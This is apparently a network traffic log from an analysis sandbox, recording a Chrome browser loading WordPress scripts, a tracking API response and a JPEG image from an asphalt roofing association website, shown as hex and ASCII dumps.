2024-04-23 14:53:50 UTC	1598	IN	Data Raw: 6f 74 79 70 65 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 2e 73 6f 72 74 28 73 29 3b 76 61 72 20 65 3d 69 2e 41 64 61 70 74 65 72 2e 69 6e 41 72 72 61 79 28 74 2c 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 29 3b 72 65 74 75 72 6e 20 65 3d 3d 3d 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 3f 6e 75 6c 6c 3a 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 5b 65 2b 31 5d 7d 2c 6f 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 65 76 69 6f 75 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 2e 73 6f 72 74 28 73 29 3b 76 61 72 20 65 3d 69 2e 41 64 61 70 74 65 72 2e 69 6e 41 72 72 61 79 28 74 2c 74 68 69 73 2e 77 61 79 70 6f 69 6e 74 73 29 3b 72 65 74 75 72 6e 20 65 Data Ascii: otype.next=function(t){this.waypoints.sort(s);var e=i.Adapter.inArray(t,this.waypoints);return e===this.waypoints.length-1?null:this.waypoints[e+1]},o.prototype.previous=function(t){this.waypoints.sort(s);var e=i.Adapter.inArray(t,this.waypoints);return e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49814	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	701	OUT	GET /wp-content/plugins/row-separators/row-separators/js/min/script-min.js?ver=1.4.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 3511 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "15c0b58-db7-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:50 UTC	3511	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2c 65 3d 74 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 20 22 29 3b 69 66 28 65 3e 30 29 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 74 2e 73 75 62 73 74 72 69 6e 67 28 65 2b 35 2c 74 2e 69 6e 64 65 78 4f 66 28 22 2e 22 2c 65 29 29 2c 31 30 29 3b 76 61 72 20 61 3d 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 22 29 3b 69 66 28 61 3e 30 29 7b 76 61 72 20 69 3d 74 2e 69 6e 64 65 78 4f 66 28 22 72 76 3a 22 29 3b 72 65 74 75 72 6e 20 70 61 72 73 65 49 6e 74 28 74 2e 73 75 62 73 74 72 69 6e 67 28 69 2b 33 2c 74 2e 69 6e 64 65 78 4f 66 28 22 2e 22 2c 69 29 29 2c 31 30 29 7d 72 65 74 75 72 Data Ascii: !function(){var t=function(){var t=navigator.userAgent,e=t.indexOf("MSIE ");if(e>0)return parseInt(t.substring(e+5,t.indexOf(".",e)),10);var a=t.indexOf("Trident/");if(a>0){var i=t.indexOf("rv:");return parseInt(t.substring(i+3,t.indexOf(".",i)),10)}retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49816	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	670	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=6.0.7 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 18617 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Tue, 12 Apr 2022 05:56:23 GMT ETag: "560375-48b9-5dc6eb878efc0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	7647	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 76 2f 31 34 2e 30 2e 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 Data Ascii: /! This file is auto-generated /// Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typ
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 64 38 33 64 5b 5c 75 64 63 36 38 5c 75 64 63 36 39 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 62 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 63 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 64 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 64 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 65 66 32 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 63 5c 75 64 66 66 65 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 65 66 31 5c 75 64 38 33 63 5c 75 64 66 66 65 5c 75 32 Data Ascii: d83d[\udc68\udc69]\|\ud83e\udef1\ud83c\udffb\u200d\ud83e\udef2\ud83c[\udffc-\udfff]\|\ud83e\udef1\ud83c\udffc\u200d\ud83e\udef2\ud83c[\udffb\udffd-\udfff]\|\ud83e\udef1\ud83c\udffd\u200d\ud83e\udef2\ud83c[\udffb\udffc\udffe\udfff]\|\ud83e\udef1\ud83c\udffe\u2
2024-04-23 14:53:50 UTC	2778	IN	Data Raw: 2c 75 2c 65 3d 63 2e 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 57 65 62 4b 69 74 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 7c 7c 63 2e 4d 6f 7a 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 2c 61 3d 63 2e 64 6f 63 75 6d 65 6e 74 2c 74 3d 21 31 2c 72 3d 30 2c 6f 3d 30 3c 63 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 2e 30 22 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 72 65 74 75 72 6e 21 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 7c 7c 61 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 68 61 73 46 65 61 74 75 72 65 28 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 53 56 47 31 31 2f 66 65 61 74 75 72 Data Ascii: ,u,e=c.MutationObserver\|\|c.WebKitMutationObserver\|\|c.MozMutationObserver,a=c.document,t=!1,r=0,o=0<c.navigator.userAgent.indexOf("Trident/7.0");function i(){return!a.implementation.hasFeature\|\|a.implementation.hasFeature("http://www.w3.org/TR/SVG11/featur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49817	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:50 UTC	902	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HR6lo%2BuAdOSg%2BefGoubKouv5MMJykLvv00TOzIID9vS%2FL%2BL1hKPGFUUy%2BkPSQaNq%2FCm5YUKNI7rMDqArHpeQYMDqlfLjrxZNZ53eU3%2FqvvR9Y6LBcHWdz1qlJg%2B44tYi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf77fc7b53f8-ATL
2024-04-23 14:53:50 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49818	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	918	OUT	GET /wp-content/uploads/2018/04/9-of-17.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	520	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: image/jpeg Content-Length: 914766 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 14:57:52 GMT ETag: "1dc11ff-df54e-5d9f28e0bbc00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	7672	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 10 0b 0c 0e 0c 0a 10 0e 0d 0e 12 11 10 13 18 28 1a 18 16 16 18 31 23 25 1d 28 3a 33 3d 3c 39 33 38 37 40 48 5c 4e 40 44 57 45 37 38 50 6d 51 57 5f 62 67 68 67 3e 4d 71 79 70 64 78 5c 65 67 63 01 11 12 12 18 15 18 2f 1a 1a 2f 63 42 38 42 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 ff c2 00 11 08 0b a1 0f 84 03 01 22 00 02 11 01 03 11 01 ff c4 00 32 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 ec 01 df 0c 01 8c 41 a6 a0 03 13 06 00 c0 1a 60 Data Ascii: JFIF(1#%(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc//cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc"2A`
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: c0 92 64 05 b0 ac 2c 20 13 20 13 51 49 35 15 52 51 09 11 09 38 04 dc 1a cd c1 c4 84 0c 8a 49 ba d1 61 5a ab 54 11 32 00 c4 00 00 00 c4 00 00 c0 00 01 07 3c 1f 4c 26 0a 00 00 03 4c 1a 06 d3 00 01 a7 03 4c 00 51 a0 60 03 4c 04 e0 00 00 00 62 18 26 98 81 80 00 26 00 00 30 00 01 83 42 80 0c 08 00 00 00 01 89 80 00 d0 31 30 06 00 00 00 00 00 31 03 13 50 00 00 00 00 10 01 46 80 68 18 00 04 34 30 10 00 00 00 d0 34 03 40 31 03 11 4c 4e 00 00 00 00 00 04 d0 00 34 03 00 00 1a 01 a0 00 06 26 26 00 00 00 00 00 00 00 c4 c0 00 00 62 60 04 00 00 00 05 00 00 00 00 01 00 14 00 00 40 00 00 00 09 8a 98 98 01 00 03 40 02 06 22 98 98 01 03 4e 80 50 c0 06 80 1a 18 98 34 00 03 40 0d 03 10 0d 30 04 31 30 13 01 30 00 1a 06 08 62 60 26 00 00 d9 19 84 48 8a 26 a2 89 90 09 ba c2 c5 Data Ascii: d, QI5RQ8IaZT2<L&LLQ`Lb&&0B101PFh404@1LN4&&b`@@"NP4@0100b`&H&
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 60 0d 35 00 00 01 88 60 00 00 00 00 03 00 00 00 06 00 10 00 0d 30 00 00 00 00 10 c1 88 05 68 10 60 a0 00 d0 30 43 4c 00 00 00 00 62 06 00 00 00 00 00 d1 0c 00 00 68 06 08 62 06 0c 4d 00 30 00 50 00 06 20 60 26 00 40 00 00 00 00 14 01 00 00 00 00 00 00 00 00 e9 bb 9b 9b c4 c3 b3 47 0e da 78 7d 9e 16 3a 76 5c 67 cf d6 b2 df 5e b2 f3 71 f2 74 e1 e9 6d cb 6e 3b e9 61 cf ae 1c ba 33 ef 95 73 ae cd f2 a3 d2 f9 bb 93 b1 d8 c6 ef 27 0b 20 68 d3 cf d3 96 98 2b 0c 3e 7f d5 f1 35 39 a4 eb e9 97 2a ac 23 64 0a b2 32 50 ac 88 b1 2c 02 0d 95 cc 91 18 59 10 6a 45 da 30 93 5d 29 72 e0 bd 58 f3 26 d6 98 d5 72 a9 d9 39 61 a2 09 74 cb 05 6b d1 39 8e ce a5 bc 8d 17 1d 5d 1c 89 5c f6 e7 c1 2e 3b a7 16 5a cf 61 60 d2 c5 c1 3b 98 a9 a2 24 82 0d 95 12 48 44 88 89 25 51 f2 7e b7 Data Ascii: `5`0h`0CLbhbM0P `&@Gx}:v\g^qtmn;a3s' h+>59*#d2P,YjE0])rX&r9atk9]\.;Za`;$HD%Q~
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 2c 64 6c 8d 85 6a ea 09 34 82 b9 25 63 44 1d a8 82 73 2a 57 40 ae 36 a2 98 6a 89 8e ad 51 30 97 c5 35 3c 5a 5a 87 53 9c f9 74 f4 b5 f2 76 e6 76 2f e2 76 3d 3e 79 12 8f 6c 09 a4 14 90 86 08 60 80 00 00 00 00 43 40 0c 43 40 00 00 00 00 02 18 26 02 60 21 82 00 00 13 00 00 00 01 82 00 00 01 a0 00 4c 04 c0 4c 00 00 4c 00 00 00 00 00 01 82 06 20 00 18 86 80 18 00 00 40 05 00 00 10 34 28 00 34 13 48 04 c1 0d 00 03 00 00 00 00 00 00 43 04 34 00 00 00 00 00 00 c4 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 60 00 00 00 00 00 00 26 02 18 00 02 60 98 00 02 18 00 02 60 86 81 80 26 86 00 98 09 a6 21 82 1a 80 60 86 80 18 80 18 82 91 9a 89 80 0c 10 c0 00 01 88 60 86 00 d0 0c 10 31 0c 50 00 18 89 82 a6 00 32 15 1a 2b ce 95 b5 db 48 6a e5 72 fa b8 Data Ascii: ,dlj4%cDs*W@6jQ05<ZZStvv/v=>yl`C@C@&`!LLL @4(4HC44`&``&!``1P2+Hjr
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 6d d7 2a 9e 86 94 4a de 1e e5 bd be 46 fc de 9a 29 93 4b c1 45 75 9f 0e 8b 3b fe 75 c7 4e 3f a1 cd 7c d5 9c 6e de 93 89 dd d8 ac a6 31 cf 32 eb ab 16 77 d2 b7 91 d0 94 e0 76 b8 6e 98 85 5f 4f 3f a0 85 b4 f1 f7 f1 f2 dd 47 5f 09 ab 04 ee 6d 9d 2d 63 64 45 ef 74 f8 5d 0e 3e dc e7 5e cd f9 f1 67 df ce 5c d1 ea 43 59 c3 a2 61 9f a3 8b 1c 57 dc 34 1d e6 8b c8 f3 7e 97 85 3a 71 3a 74 ea c7 a2 19 f5 d7 1c dc 7b b2 eb 1b b4 67 d1 8e cd a7 18 76 63 df bc 42 be af 4a f2 f3 75 fa 97 ac 71 f8 fe be b4 e1 f0 37 3e 5a b7 27 47 85 8e 95 2a 3a 5d 35 5d 51 dd 73 d5 cb ad 71 f5 f1 f9 dd 9e 7e b9 6e be 17 e7 78 b2 6e c0 6c c9 bb 12 68 57 52 bb 78 fd 9e 3a 77 a7 19 4e b5 92 4c c6 e8 4d a1 0e 23 35 3b 20 59 59 1b b5 75 3a 70 e5 dd b2 8b c7 25 1b aa 9d 32 10 96 3b c6 32 8e 74 Data Ascii: mJF)KEu;uN?\|n12wvn_O?G_m-cdEt]>^g\CYaW4~:q:t{gvcBJuq7>Z'G:]5]Qsq~nxnlhWRx:wNLM#5; YYu:p%2;2t
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 5c 2f a8 aa 9d 75 26 07 6d 15 57 57 04 6c e8 74 f9 3a 38 f4 ef 5b 8f 6e 1c d8 f4 79 fd f2 a5 45 9a 82 73 2a 94 e0 26 44 b1 41 84 dd 64 9a 64 59 22 a9 28 93 1a 23 29 16 45 d8 92 0a 72 aa 9d 90 07 1b 52 9b 53 aa c9 34 82 ba 24 6c ad 92 8c 99 12 50 0b 29 90 e7 5b 12 9c 48 b2 23 1a 14 84 59 06 c4 a5 01 53 78 72 d7 4b 12 fa 03 cb 77 24 bf 35 b7 56 29 0c 4d c4 84 34 44 c3 be b9 cb d3 cd cf e7 c7 56 7c 3b d7 ab 9d 69 b2 b9 67 b6 c9 08 58 62 d3 49 8f 26 f9 4b 2a 34 5a 73 7a 72 9f 3e b5 f5 f9 b6 66 db 67 9b c7 be 7e d1 f8 fd 7a 9d 59 65 ec 2f 12 3e 8d 4d f9 8b fd 57 2a f3 e4 c0 96 36 45 97 2e d9 e9 5a 72 ed db ae 5c 63 b5 cb 2b ae bb 64 be 8b ed 31 e1 f4 39 eb ce c7 b3 55 98 ad ba b5 c9 1b 63 ac c6 e8 48 96 6b c9 7a 3c d4 96 31 b2 e6 29 bb 5d 55 4a cd 6c be 8f 37 Data Ascii: \/u&mWWlt:8[nyEs&DAddY"(#)ErRS4$lP)[H#YSxrKw$5V)M4DV\|;igXbI&K4Zszr>fg~zYe/>MW*6E.Zr\c+d19UcHkz<1)]UJl7
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: b9 e8 aa 75 e7 a1 a6 8e 8e b9 c7 8b d3 e6 eb 8d 1c ed ae dd 3c ed 95 e7 a6 5c f4 ec d7 3e 8e fa 2f e5 e8 c5 a3 26 fd f2 e7 e4 b2 eb 32 fa ff 00 2d e8 b7 c7 cd 71 ba 1c ee 9e 73 af c7 d7 66 9b 35 f2 8e f6 2c 1d a5 e3 53 a3 3a 60 dd 4f 46 ca 0d 95 cb 22 cb eb 04 fb 5c 58 e5 51 a6 36 67 d5 45 a8 a3 7d 4b 2f 7d f3 ae ec de 8d fa 78 dc 3d 79 74 d5 67 4e 5a ad aa 1e 7f 65 f5 cd cb a7 bf e5 3b dd 7c d5 d1 d0 c3 ae 39 e4 a5 cb d8 a4 39 a5 14 a5 2b 9c 0e 0c 2e cf d7 87 6e ad 19 f9 f6 8d 1a a1 73 77 9b f4 7e 6f 58 f5 c4 61 cf b6 95 67 37 bf 2e 2c b5 d1 db e7 57 6d 75 d6 cb 39 9b 23 5e 0d 38 c6 16 54 eb bb 5c 73 68 ef 73 cc bb 15 93 a7 a8 9c 27 cf d9 e6 b1 75 71 f4 f1 d7 d0 c7 d1 b8 e4 df 55 f1 5d d4 5a 65 74 d7 a9 7f 57 93 6c 6a cf 48 b2 e8 e4 9c e9 da e7 f5 31 e7 Data Ascii: u<\>/&2-qsf5,S:`OF"\XQ6gE}K/}x=ytgNZe;\|99+.nsw~oXag7.,Wmu9#^8T\shs'uqU]ZetWljH1
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 65 64 2c e3 e9 c1 a7 27 4a e7 26 cd b8 d2 32 1c e8 e6 10 eb 94 09 09 57 57 91 d8 e2 ef cd 9f 0f 53 35 d6 9c d6 66 ce f1 74 79 9d 54 da dc b3 d7 2e 6e 9c b7 cf cf 9d dc fb e3 cb 8f 43 26 b1 b3 b9 e4 3d 36 35 0f 3d e8 b8 9d 3c f9 7b dc 2a 77 9f 43 c6 ee 87 93 e8 59 45 91 7b 32 45 59 e9 bb 59 cd 67 4d cb c9 e9 4a 15 3e 7f 5e 19 b9 25 bf 11 8b a9 c2 db 5e ab 8d 4d b1 54 f9 16 59 a4 cb 03 d3 cb ce f5 f3 71 96 57 58 b2 ad 95 d5 ec 70 bd 67 3e d8 71 ec cd c7 d5 75 d9 35 e7 a4 a9 9d 73 54 a9 cc c3 e8 f8 ba f7 c7 a9 ce ed 72 77 e5 cc c5 8f 4b 96 dc 39 e9 38 c6 73 7a b8 7d ef 29 e8 f3 65 ae f9 5f 36 29 6c 55 5c e1 18 b2 78 eb b3 55 99 ec 95 b8 d9 65 65 c6 75 8f 5a 96 b3 a2 8c f1 b3 7c b9 3b 17 d8 d9 55 dc fd be 7b 0f 43 93 bf 2c 6b d9 1b cf 1d 9a 61 2d d0 9d 59 dd Data Ascii: ed,'J&2WWS5ftyT.nC&=65=<{*wCYE{2EYYgMJ>^%^MTYqWXpg>qu5sTrwK98sz})e_6)lU\xUeeuZ\|;U{C,ka-Y
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 94 86 d3 55 64 5a 76 fc 97 ab f3 1d bc 7c fd d5 5f 9e b8 de 8a e6 ad e8 60 dd 8d b4 5c af 91 bb 36 f8 47 35 f7 6d bf b9 e5 3d 2c cf 37 9f dd e1 39 d1 ae ba 9d ba 1c ce cd 1a c5 fc 3e b4 ae 31 2c dd 0e 9c 7c d7 57 36 43 d0 63 e2 c8 d1 28 f6 e5 ea df 93 66 35 9f 36 ce 1e a6 2e 2f a2 c3 ac f1 4b 21 73 22 74 1e ab a9 e0 fb 52 f6 30 68 cc b0 f3 7b 73 b3 d3 b3 3d 6b dc db e7 e3 2f a9 df e2 3d 8e 77 c1 e9 57 2e 1e ea 35 ab ba 79 7c a6 ec 9d 7c 76 be 75 be 7e 8b 20 c1 42 c4 b4 5f 45 da cf 47 cc fa 7f 31 e9 f2 66 b3 77 13 7e 5d 31 a4 b3 6e 9c 9a 23 98 5d ba b9 9a 6f aa 2c af 35 27 4e 18 b6 97 72 ba 78 cc 92 d4 e8 d3 1c f1 6c b3 41 6e d1 93 5e 6f 77 a3 cc e9 f3 f7 f1 f8 dd 4e 1f 5f 27 42 35 e9 73 c7 9b b7 cb b2 1d 0a 77 25 f9 b5 60 27 4e 4a 8e 95 35 f5 65 e6 68 d3 Data Ascii: UdZv\|_`\6G5m=,79>1,\|W6Cc(f56./K!s"tR0h{s=k/=wW.5y\|\|vu~ B_EG1fw~]1n#]o,5'NrxlAn^owN_'B5sw%`'NJ5eh
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: cd 7c 33 7a 92 5c ee 7d 36 64 b3 3e f9 ca 79 ef 86 ed 76 66 af 46 45 b1 12 44 0e 50 45 27 36 56 e4 24 09 84 14 c2 a7 24 21 07 81 bb 3c a5 eb 7a 3f 21 eb 39 75 9d 95 4f 16 51 69 32 65 d5 4a 79 48 ce 3d f9 d7 a7 2d 85 ea 31 c5 d5 d7 8d be 5e a9 97 75 ed 82 fb 1b 76 dd 66 49 9e 7e 0e 9e 1b 69 b6 b7 67 53 36 8a b1 d3 0f af f2 3b b7 cf d0 79 de fe b9 3c de 9e 8e 34 be 7c ac 66 af 2d bf 07 5e 2e 71 9e b1 a1 2b 49 d9 55 bc bd 15 83 9b 88 c4 9e cc 5b a6 d6 5d d8 63 b9 0a a5 79 d7 9a ec 6d 76 b3 68 a3 1d 71 e4 e8 73 b7 83 ad c9 bd 74 ce 4b 1b 30 e9 56 5f 4d b8 75 8e f2 c5 09 ad b5 68 33 ac b7 a7 65 35 68 c9 2d 93 cf 36 ab 93 8b 38 36 27 be 62 25 9d 42 76 29 aa e6 17 36 3a e5 36 50 70 b7 c7 ad 6f 17 56 b1 d9 59 d6 3b 71 e1 5e 8e de 4d 1b ab bf 97 a2 ce 0f 6f 91 65 Data Ascii: \|3z\}6d>yvfFEDPE'6V$$!<z?!9uOQi2eJyH=-1^uvfI~igS6;y<4\|f-^.q+IU[]cymvhqstK0V_Muh3e5h-686'b%Bv)6:6PpoVY;q^Moe

